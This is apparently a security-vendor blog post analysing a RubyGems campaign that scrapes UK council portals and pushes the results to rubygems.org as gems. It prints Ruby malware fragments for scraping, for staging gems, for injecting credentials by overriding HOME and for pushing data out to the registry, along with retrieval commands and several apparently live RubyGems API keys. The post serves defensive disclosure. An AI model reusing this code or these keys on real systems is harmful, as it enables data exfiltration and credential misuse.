
Research
TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack
Socket detected 84 compromised TanStack npm package artifacts modified with suspected CI credential-stealing malware.
May 13, 2026
8 min read


Socket's threat research team is tracking a suspicious RubyGems campaign we’re calling GemStuffer, involving more than 100 gems that appear to use the RubyGems registry as a data transport mechanism rather than a conventional malware distribution channel.
The packages do not appear designed for mass developer compromise. Many have little or no download activity, and the payloads are repetitive, noisy, and unusually self-contained. Instead, the scripts fetch pages from UK local government democratic services portals, package the collected responses into valid .gem archives, and publish those gems back to RubyGems using hardcoded API keys. In some samples, the payload creates a temporary RubyGems credential environment under /tmp, overrides HOME, builds a gem locally, and pushes it to rubygems.org. Other variants skip the gem CLI entirely and POST the archive directly to the RubyGems API.
The campaign focuses on public-facing ModernGov portals used by Lambeth, Wandsworth, and Southwark, collecting council calendar pages, agenda listings, committee links, and related public meeting content. Much of this material appears to be publicly accessible, which makes the campaign harder to classify. It may be registry spam, a proof-of-concept worm, an automated scraper misusing RubyGems as a storage layer, or a deliberate test of package registry abuse. But the mechanics are intentional: repeated gem generation, version increments, hardcoded RubyGems credentials, direct registry pushes, and scraped data embedded inside package archives.
GemStuffer also appears to overlap with a broader RubyGems spam-publishing incident. Ruby Central’s Marty Haught said RubyGems was responding to “a coordinated spam-publishing campaign” limited to newly registered accounts publishing junk packages, with no existing packages compromised.
He also said RubyGems temporarily disabled new account registration and throttled webhooks while improving spammer detection, adding that existing accounts, packages, and installs were unaffected. RubyGems’ signup page currently confirms that new account registration is temporarily disabled.
This campaign fits the same abuse pattern: newly created packages, low download activity, repeated registry publishing, and junk-like package names used to move scraped data into RubyGems-hosted archives.
For defenders, low download counts should not obscure the significance of the technique. Package registries are commonly trusted destinations in developer and CI environments, and publishing a package can look indistinguishable from normal release activity. GemStuffer shows how that trust can be repurposed: scrape data, wrap it in a package, push it to a public registry, and retrieve it later with ordinary package tooling.
This analysis focuses on representative specimens from the GemStuffer campaign. The samples demonstrate a consistent technique: collect execution context, fetch hardcoded UK council portal URLs, package the HTTP responses into valid .gem archives, and publish those archives to RubyGems using embedded registry credentials. While individual variants use slightly different publishing paths, the abuse pattern is consistent: RubyGems is being used as a public data drop for scraped council content.
The package set and related indicators are available in our GemStuffer campaign tracker and embedded below. We’re currently tracking 155 package artifacts (packages and versions) associated with this campaign.
Loading affected packages…
[Delivery: (evil|hack|payload|script).rb dropped to target environment]
|
v
[Reconnaissance]
Capture Time.now, Dir.pwd, $0 (script path), ARGV
|
v
[UK Gov Sites Scraping]
GET https://<council>/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1
SSL VERIFY_NONE — cert errors suppressed
Full response body + HTTP status code captured
|
v
[Malicious Gem Staging]
mkdir /tmp/<gemname><timestamp><pid>/lib/
binwrite stolen content → lib/result.txt
Write stub lib/x.rb, generate x.gemspec
|
v
[Credential Injection]
mkdir /tmp/gemhome/.gem/
Write hardcoded API key → .gem/credentials (chmod 0600)
Override ENV['HOME'] = '/tmp/gemhome'
|
v
[Malicious Gem Push/Exfiltration]
gem build x.gemspec → <name>-<version>.gem
gem push <name>.gem --host https://rubygems.org
Stolen data now retrievable as a public gem version
|
v
[Attacker retrieves data: gem fetch <name> -v <version> && tar xf *.gem data.tar.gz]The gem fetches one of several hardcoded URLs using Ruby's standard Net::HTTP library. It fetches council calendar pages and then actively crawls extracted links for additional document content. The script scrapes the returned HTML for agenda item URLs matching ieList or mgCommittee path patterns, and issues a second round of HTTP requests to follow any ieList links — pulling full agenda item listing pages on top of the raw calendar.
['https://moderngov.lambeth.gov.uk',
'https://democracy.wandsworth.gov.uk',
'https://moderngov.southwark.gov.uk'].each do |host|
# Phase 1: fetch the monthly calendar page
cal = get(host+'/mgCalendarMonthView.aspx?GL=1&M=1&Y=2026')
out << "\n===CAL #{host}===\n" << cal << "\n"
# Phase 2: extract and de-duplicate hrefs matching agenda/committee paths
links = cal.scan(/href=[\"']([^\"']+)/i)
.flatten
.map { |x| x.gsub('&', '&') }
.select { |x| x =~ /ieList|mgCommittee/i }
.uniq
out << links.inspect << "\n"
# Phase 3: follow ieList links to scrape full agenda item listings
links.each do |l|
next unless l =~ /ieList/i
l = host+'/'+l.sub(/^\//, '') unless l.start_with?('http')
page = get(l)
out << "\n===PAGE #{l}===\n" << page << "\n"
end
endThe spoofed User-Agent header Mozilla/5.0 is shorter and more anomalous than typical browser activity.
# Shared fetch helper — User-Agent spoofing
def get(url)
u = URI(url)
Net::HTTP.start(u.host, u.port,
use_ssl: u.scheme == 'https',
read_timeout: 40
) { |h| h.get(u.request_uri, {'User-Agent' => 'Mozilla/5.0'}).body }
rescue => e
'ERR '+e.to_s
endAll three domains are UK local government democratic services portals running ModernGov software. The data exposed at these endpoints typically includes committee meeting calendars, agenda item listings, linked PDF documents, officer contact information, and RSS feed content. While much of this is nominally public, the systematic bulk collection and archival of this data suggests the attacker may be using council portal access as a pivot to demonstrate capability against government infrastructure.
The implant constructs a minimal but structurally valid .gem archive on the local filesystem, embedding the exfiltrated data as a binary file within the gem's lib/ directory tree. The staging directory name is randomized for each run using a Unix epoch timestamp and the current process ID.
root="/tmp/lambeth71b#{Time.now.to_i}#{$$}"
FileUtils.mkdir_p("#{root}/lib")
File.binwrite("#{root}/lib/result.txt", out) # stolen data stored here
File.write("#{root}/lib/x.rb", '#x') # stub required by gem structure
gemspec=<<~G
Gem::Specification.new do |s|
s.name='lambeth71b'
s.version='0.0.2'
s.summary='result'
s.authors=['x']
s.files=Dir['lib/**/*']
s.license='MIT'
end
GFile.binwrite is used deliberately rather than File.write to avoid Ruby's string encoding layer raising exceptions on non-UTF-8 content in HTTP response bodies — a detail that reveals confident, experienced Ruby authorship. The gem name lambeth71b is a direct portmanteau of the target council name and an apparent campaign identifier suffix (71b), suggesting a naming convention shared across the full package set.
Not all campaign samples staged exfiltration content on disk before publishing. Some variants used Dir.mktmpdir with an OS-reclaimed block scope, meaning the staging directory and its contents are deleted immediately after the gem file is read for the push request:
Dir.mktmpdir { |d|
Dir.chdir(d) {
# Stolen content written to README (not lib/result.txt as in prior samples)
File.write('README', out)
# Gem built entirely via Ruby API — no gemspec file written to disk, no shell-out
s = Gem::Specification.new { |x|
x.name = 'agenda-sample-result'
x.version = '0.1.1'
x.summary = 'o'
x.authors = ['a']
x.files = ['README']
}
Gem::Package.build(s) # produces agenda-sample-result-0.1.1.gem in d/
}
}In these cases, only the gem itself is briefly available on disk. The exfiltrated data is written to a file named README — a further step away from the lib/result.txt path used in earlier specimens, and a filename that is semantically invisible inside a gem archive. No stub .rb file is included in x.files, and no .gemspec file is ever written to disk — the specification exists only as a Ruby object in memory before being passed to Gem::Package.build.
This feature of the malware reveals an awareness of the credential environment in the RubyGems ecosystem. Rather than depending on pre-existing RubyGems credentials on the target machine, the script injects its own fully self-contained authentication context into a fabricated home directory under /tmp and then overrides the HOME environment variable for the current process so the gem CLI reads from it exclusively.
FileUtils.mkdir_p('/tmp/gemhome/.gem')
File.write('/tmp/gemhome/.gem/credentials',
':rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57_key: ' \
'rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57')
File.chmod(0600, '/tmp/gemhome/.gem/credentials') # required — gem refuses group/world-readable creds
ENV['HOME'] = '/tmp/gemhome'The File.chmod(0600, ...) call is important — the gem CLI will print an error and abort if the credentials file has permissions broader than 0600. The author knows this behavior and accounts for it explicitly, which is characteristic of someone who has tested this technique in practice.
The key format follows the modern RubyGems OAuth token specification:
:<key_name>: <key_value>Where the key name is rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57_key and the value is the token itself. This appears to be a live, functional API credential and not a placeholder.
RubyGems API Keys seen across the campaign:
rubygems_fb4e1bc5cea1159d8ded8f32b26e768520255edfc6aec9ddrubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57rubygems_d8e875bd0a97e2f33498dba3ef41ffb1f951adb1b503a533The use of three distinct API keys is a compartmentalization strategy: if one key is revoked and the corresponding gems yanked, the other two campaign legs continue operating uninterrupted. All three keys should be revoked.
The HOME override is process-local and ephemeral: it modifies only the Ruby process's own environment map via ENV['HOME']=, does not call setenv(3) in a way that affects other processes, and disappears when the process exits. This minimizes the forensic footprint to the /tmp/gemhome/ directory tree and the staging directory.
Note: In some samples, credential injection was not included. In these cases the script wrote no /tmp/gemhome/.gem/credentials file, no ENV['HOME'] override, and no gem push CLI invocation. Instead, the API key is declared as a plaintext top-level constant and inserted directly into a Net::HTTP::Post request that the script constructs and fires itself:
KEY = 'rubygems_75a85c0edc8cd7148c344d32b8f8f1510f01c2aef36f220b'
u = URI('https://rubygems.org/api/v1/gems')
r = Net::HTTP::Post.new(u)
r['Authorization'] = KEY
r['Content-Type'] = 'application/octet-stream'
r.body = File.binread('agenda-sample-result-0.1.1.gem')
Net::HTTP.start(u.host, u.port, use_ssl: true) { |h| h.request(r) }By constructing the HTTP request manually, this variant removes every external process dependency from the push path — no gem binary needs to be present on the target machine, no credentials file needs to be written, no HOME needs to be redirected. The entire exfiltration pipeline from fetch to push runs within a single Ruby process using only stdlib. File.binread reads the assembled gem as raw bytes and sets it as the POST body directly, matching the wire format the RubyGems API expects: Content-Type: application/octet-stream with the raw .gem binary. The API key in the Authorization header is the only authentication material in the request.
With staging complete and credentials injected, the implant shells out to the gem CLI to build and push the package to rubygems.org. This is the exfiltration event itself.
Dir.chdir(root) do
out2 = `gem build x.gemspec 2>&1`
out3 = `gem push lambeth71b-0.0.2.gem --host https://rubygems.org 2>&1`
File.write("#{root}/log", out2+"\n"+out3) rescue nil
endDir.chdir(root) scopes the build context so gem build locates the gemspec and lib/ tree correctly. The explicit --host <https://rubygems.org> pin prevents accidental pushes to a configured private registry and makes the exfiltration endpoint unambiguous. Both CLI invocations capture stdout and stderr via backticks; the combined output is written to #{root}/log but that write is itself wrapped in rescue nil so even the local log is silently dropped on failure.
Network signature of the exfiltration event:
When gem push executes, it performs an HTTP POST to https://rubygems.org/api/v1/gems with:
Content-Type: application/octet-streamAuthorization: <rubygems_api_key> header.gem archive (a tar containing metadata.gz and data.tar.gz)The scraped response data is inside data.tar.gz → lib/result.txt within that archive. From a network monitoring perspective, this event is a single outbound TLS POST to rubygems.org:443 carrying a binary body. It closely resembles a legitimate developer release workflow. Standard DLP tools inspecting egress for plaintext keywords will see nothing — the data is gzip-compressed inside a tar archive inside a TLS session.
Retrieval by the attacker requires only the gem name and version:
gem fetch lambeth71b -v 0.0.2
tar xf lambeth71b-0.0.2.gem data.tar.gz
tar xzf data.tar.gz ./lib/result.txtThe exfiltrated content is then available as a structured plaintext file containing the harvested environment metadata and the full council page response body, delimited by ===== URL ... ==ENDURL== markers for programmatic parsing.
gem yank <name> -v <version> for each confirmed package name. File a rubygems.org abuse report requesting emergency removal of the full package set — yanked gems may still be cached by mirrors./tmp on all potentially affected machines. Search for lambeth71b*, rubydocran_*, /tmp/gemhome/, and any directory matching /tmp/[a-z]+[0-9]+[a-z]+[0-9]{10}[0-9]+/. Preserve and forensically image any hits before deletion..bundlerc, Gemfile, config/application.rb), gem post-install hooks, CI pipeline definitions, and dotfile repositories for references to evil.rb, hack.rb, script.rb or payload.rb.ENV['HOME'] mutation to /tmp paths in production Ruby processes. Runtime security tooling (Falco, eBPF-based syscall monitors) can detect putenv/setenv calls that redirect HOME out of /home or /root into /tmp. This is an abnormal operation in any legitimate Ruby application.gem push in CI pipelines that do not publish gems. If your CI workflows do not legitimately push to rubygems.org, add an egress rule blocking HTTPS POST to rubygems.org/api/v1/gems. For pipelines that do publish, restrict allowed gem names to an explicit allowlist.payload.rb
239440c830e17530dda0a8a06ed2708860998750a1e3ed2239e919465dc594205f924c0454f1fb6b2299d658c3bb4e75ce3d0b6681c34eea9c853c5ec13a3b3cd4a2228bscript.rb
c2d6bcacc88177e0f2c8c262726f86f37e671b1692c8bc135bac4b610ddcf31adb9827ae2c004a4dc6009be2d009477bff5249df9211506ae02c9e4e75aeadfebeb4883cevil.rb
yardload.rb
yard_plugin.rb
exploit.rb
extconf.rb
fetcher.rb
hxxps://moderngov[.]lambeth[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1hxxps://democracy[.]wandsworth[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1hxxps://moderngov[.]southwark[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57rubygems_fb4e1bc5cea1159d8ded8f32b26e768520255edfc6aec9ddrubygems_d8e875bd0a97e2f33498dba3ef41ffb1f951adb1b503a533/tmp/<package><epoch_timestamp><pid>//tmp/<package><epoch_timestamp><pid>/lib/result.txt/tmp/<package><epoch_timestamp><pid>/lib/x.rb/tmp/<package><epoch_timestamp><pid>/x.gemspec/tmp/<package><epoch_timestamp><pid>/<package>-0.0.2.gem/tmp/<package><epoch_timestamp><pid>/log/tmp/gemhome/.gem/credentials — fabricated credentials file containing hardcoded API key/tmp/gemhome//tmp/rubydocran_*s.summary='result's.summary='o's.authors=['x']s.authors=['a']s.authors=['south']
Subscribe to our newsletter
Get notified when we publish new security blog posts!

Research
Socket detected 84 compromised TanStack npm package artifacts modified with suspected CI credential-stealing malware.

Research
Five malicious NuGet packages impersonate Chinese .NET libraries to deploy a stealer targeting browser credentials, crypto wallets, SSH keys, and local files.

Research
/Security News
GitHub account BufferZoneCorp published sleeper packages that later added credential theft, GitHub Actions tampering, fake go wrappers, and SSH persistence.